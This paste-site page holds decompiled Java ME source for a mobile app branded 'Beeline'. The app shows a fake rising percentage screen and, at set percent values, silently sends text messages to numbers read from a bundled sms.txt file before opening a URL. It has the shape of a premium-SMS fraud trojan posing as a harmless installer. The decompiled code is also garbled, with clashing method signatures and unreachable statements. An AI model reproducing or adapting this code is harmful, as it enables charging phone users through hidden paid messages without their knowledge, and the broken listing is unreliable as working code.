All pastes #2047145 Raw Edit

Mine

public java v1 · immutable
#2047145 ·published 2011-04-16 12:41 UTC
rendered paste body
package Beeline;import java.io.IOException;import java.io.InputStream;import java.io.UnsupportedEncodingException;import java.util.Vector;import javax.microedition.io.ConnectionNotFoundException;import javax.microedition.io.Connector;import javax.microedition.lcdui.Command;import javax.microedition.lcdui.CommandListener;import javax.microedition.lcdui.Display;import javax.microedition.lcdui.Displayable;import javax.microedition.lcdui.Form;import javax.microedition.midlet.MIDlet;import javax.wireless.messaging.MessageConnection;import javax.wireless.messaging.TextMessage;public class Beeline extends MIDlet  implements CommandListener{  private Display jdField_a_of_type_JavaxMicroeditionLcduiDisplay;  private Form jdField_a_of_type_JavaxMicroeditionLcduiForm;  private Command jdField_a_of_type_JavaxMicroeditionLcduiCommand;  private Command jdField_b_of_type_JavaxMicroeditionLcduiCommand;  private String jdField_a_of_type_JavaLangString;  private String jdField_b_of_type_JavaLangString;  private String c;  public int state = 1;  public Vector smsList;  public int startValue;  public int stepValue;  public int endValue;  public int value;  public String url;  public void startApp()  {    Beeline localBeeline = this;    this.jdField_a_of_type_JavaLangString = localBeeline.a("/screen1.txt");    localBeeline.jdField_b_of_type_JavaLangString = localBeeline.a("/screen2.txt");    localBeeline.c = localBeeline.a("/screen3.txt");    localBeeline.url = localBeeline.a("/url.txt");    String str = localBeeline.a("/sms.txt");    Object localObject = a(localObject = localBeeline.a("/percent.txt"));    localBeeline.startValue = Integer.parseInt(localObject[0]);    localBeeline.stepValue = Integer.parseInt(localObject[1]);    localBeeline.endValue = Integer.parseInt(localObject[2]);    localBeeline.smsList = new Vector();    localBeeline.a(str);    this.jdField_a_of_type_JavaxMicroeditionLcduiDisplay = Display.getDisplay(this);    this.jdField_a_of_type_JavaxMicroeditionLcduiForm = new Form("");    this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(this.jdField_a_of_type_JavaLangString);    this.jdField_a_of_type_JavaxMicroeditionLcduiCommand = new Command("ОК", 4, 1);    this.jdField_a_of_type_JavaxMicroeditionLcduiForm.addCommand(this.jdField_a_of_type_JavaxMicroeditionLcduiCommand);    this.jdField_a_of_type_JavaxMicroeditionLcduiForm.setCommandListener(this);    this.jdField_a_of_type_JavaxMicroeditionLcduiDisplay.setCurrent(this.jdField_a_of_type_JavaxMicroeditionLcduiForm);  }  public void pauseApp()  {  }  public void destroyApp(boolean paramBoolean)  {  }  public boolean sendSms(String paramString1, String paramString2)  {    try    {      TextMessage localTextMessage;      (localTextMessage = (TextMessage)(paramString1 = (MessageConnection)Connector.open(paramString1 = "sms://" + paramString1)).newMessage("text")).setPayloadText(paramString2);      paramString1.send(localTextMessage);      paramString1.close();      return true;    }    catch (Exception localException)    {    }    return false;  }  public void commandAction(Command paramCommand, Displayable paramDisplayable)  {    if ((paramDisplayable == this.jdField_a_of_type_JavaxMicroeditionLcduiForm) && (paramCommand == this.jdField_a_of_type_JavaxMicroeditionLcduiCommand));    switch (this.state)    {    case 1:      this.jdField_a_of_type_JavaxMicroeditionLcduiForm.deleteAll();      this.value = this.startValue;      this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(a(this.jdField_b_of_type_JavaLangString, "{value}", String.valueOf(this.value)));      this.state += 1;      break;    case 2:      this.jdField_a_of_type_JavaxMicroeditionLcduiForm.deleteAll();      if (this.value >= this.endValue)      {        try        {          platformRequest(this.url);        }        catch (ConnectionNotFoundException localConnectionNotFoundException)        {          (paramCommand = localConnectionNotFoundException).printStackTrace();        }        this.jdField_b_of_type_JavaxMicroeditionLcduiCommand = new Command("Выход", 7, 1);        this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(this.c);        this.jdField_a_of_type_JavaxMicroeditionLcduiForm.removeCommand(this.jdField_a_of_type_JavaxMicroeditionLcduiCommand);        this.jdField_a_of_type_JavaxMicroeditionLcduiForm.addCommand(this.jdField_b_of_type_JavaxMicroeditionLcduiCommand);        this.state += 1;        return;      }      this.value += this.stepValue;      for (paramCommand = 0; paramCommand < this.smsList.size(); paramCommand++)      {        if ((paramDisplayable = (a)this.smsList.elementAt(paramCommand)).jdField_a_of_type_Int != this.value)          continue;        sendSms(paramDisplayable.jdField_a_of_type_JavaLangString, paramDisplayable.jdField_b_of_type_JavaLangString);      }      this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(a(this.jdField_b_of_type_JavaLangString, "{value}", String.valueOf(this.value)));    default:      return;      if ((paramDisplayable != this.jdField_a_of_type_JavaxMicroeditionLcduiForm) || (paramCommand != this.jdField_b_of_type_JavaxMicroeditionLcduiCommand))        break;      exitMIDlet();    }  }  public void exitMIDlet()  {    destroyApp(true);    notifyDestroyed();  }  private static String a(String paramString1, String paramString2, String paramString3)  {    StringBuffer localStringBuffer = new StringBuffer("");    int i;    if ((i = paramString1.indexOf(paramString2)) != -1)    {      localStringBuffer.append(paramString1.substring(0, i));      localStringBuffer.append(paramString3);      localStringBuffer.append(paramString1.substring(i + paramString2.length()));    }    return localStringBuffer.toString();  }  private void a(String paramString)  {    int i = 0;    int j;    while ((j = paramString.indexOf("[", i)) != -1)    {      int k = paramString.indexOf("]", j + 1);      k++;      i = k;      Object localObject = a(localObject = paramString.substring(j, k));      a locala;      (locala = new a()).jdField_a_of_type_Int = Integer.parseInt(localObject[0]);      locala.jdField_a_of_type_JavaLangString = localObject[1];      locala.jdField_b_of_type_JavaLangString = localObject[2];      this.smsList.addElement(locala);    }  }  private static String[] a(String paramString)  {    String[] arrayOfString = new String[3];    int i = paramString.indexOf(":");    arrayOfString[0] = paramString.substring(1, i);    i++;    int j = paramString.indexOf(":", i);    arrayOfString[1] = paramString.substring(i, j);    j++;    arrayOfString[2] = paramString.substring(j, paramString.length() - 1);    return arrayOfString;  }  private String a(String paramString)  {    paramString = getClass().getResourceAsStream(paramString);    Object localObject1 = null;    Object localObject3;    while (true)    {      localObject2 = new byte[1000];      try      {        int i;        if ((i = paramString.read(localObject2)) == -1)          break;        if (localObject1 == null)        {          localObject1 = new byte[i];          System.arraycopy(localObject2, 0, localObject1, 0, i);        }        else        {          int j;          byte[] arrayOfByte = new byte[j = localObject1.length + i];          System.arraycopy(localObject1, 0, arrayOfByte, 0, localObject1.length);          System.arraycopy(localObject2, 0, arrayOfByte, localObject1.length, i);          localObject1 = arrayOfByte;        }        if (i < 1000)          break;      }      catch (IOException localIOException)      {        (localObject3 = localIOException).printStackTrace();      }    }    Object localObject2 = "";    try    {      localObject2 = new String(localObject1, 0, localObject1.length, "UTF-8");    }    catch (UnsupportedEncodingException localUnsupportedEncodingException)    {      (localObject3 = localUnsupportedEncodingException).printStackTrace();    }    System.gc();    return (String)(String)(String)localObject2;  }}